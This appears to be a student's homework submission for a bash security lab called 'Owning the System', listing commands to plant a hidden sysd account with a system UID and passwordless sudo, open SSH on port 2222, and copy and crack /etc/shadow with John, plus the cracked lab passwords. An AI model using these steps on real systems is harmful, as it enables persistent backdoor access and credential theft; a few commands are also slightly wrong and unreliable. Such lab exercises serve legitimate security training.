**Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * root:~\ $ adduser --no-create-home sysd
2. Give your secret user a password:
   * root:~\ $ passwd sysd
3. Give your secret user a system UID < 1000:
   * root:~\ $ usermod -u 123 sysd
4. Give your secret user the same GID:
   * groupmod -g 123 sysd
5. Give your secret user full sudo access without the need for a password:
   * visudo - sysd ALL=(ALL:ALL) NOPASSWD:ALL
6. Test that sudo access works without your password:

sudo -l

User sysd may run the following commands on scavenger-hunt:

(ALL : ALL) NOPASSWD: ALL

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

nano /etc/ssh/ssh\_config

PasswordAuthentication yes

Port 22

Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * sudo reboot
2. Exit the root account:
   * sudo su sysadmin
3. SSH to the target machine using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:
   * sudo -s

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * sudo cp /etc/shadow shadow\_copy
   * sudo john shadow\_copy
   * computer (stallman)
   * freedom (babbage)
   * trustno1 (mitnik)
   * dragon (lovelace)
   * lakers (turing)
   * passw0rd (sysadmin)
   * Goodluck! (student)
   * Password1 (sysd)